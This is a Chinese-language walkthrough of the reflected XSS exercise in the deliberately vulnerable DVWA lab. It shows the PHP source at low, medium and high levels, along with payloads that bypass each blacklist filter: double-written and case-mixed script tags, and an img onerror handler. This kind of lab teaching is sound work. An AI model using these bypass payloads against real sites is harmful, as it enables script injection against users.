DVWA-Reflected XSS

Reflected XSS Source(Low)

vulnerabilities/xss_r/source/low.php

代碼分析

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 

?>

$_GET[ ‘name’ ]無任何過濾

漏洞利用

輸入,成功彈框:
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28233%29%3C%2Fscript%3E在這裏插入圖片描述

Reflected XSS(Medium)

代碼分析

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

可以看到,這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將
輸入中的<script>刪除,這種防護機制是可以被輕鬆繞過的。

漏洞利用

雙寫繞過

輸入<sc<script>ript>alert(233)</script>,成功彈框:
在這裏插入圖片描述

大小寫混淆繞過

輸入<ScRipt>alert(233)</script>,成功彈框:
在這裏插入圖片描述

Reflected XSS(High)

代碼分析

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?>   

$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’
使用黑名單過濾輸入,preg_replace()函數用於正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。

漏洞利用

雖然無法使用<script>標籤注入XSS代碼,但是可以通過img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。
輸入<img src=1 onerror=alert(/233/)>,成功彈框:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章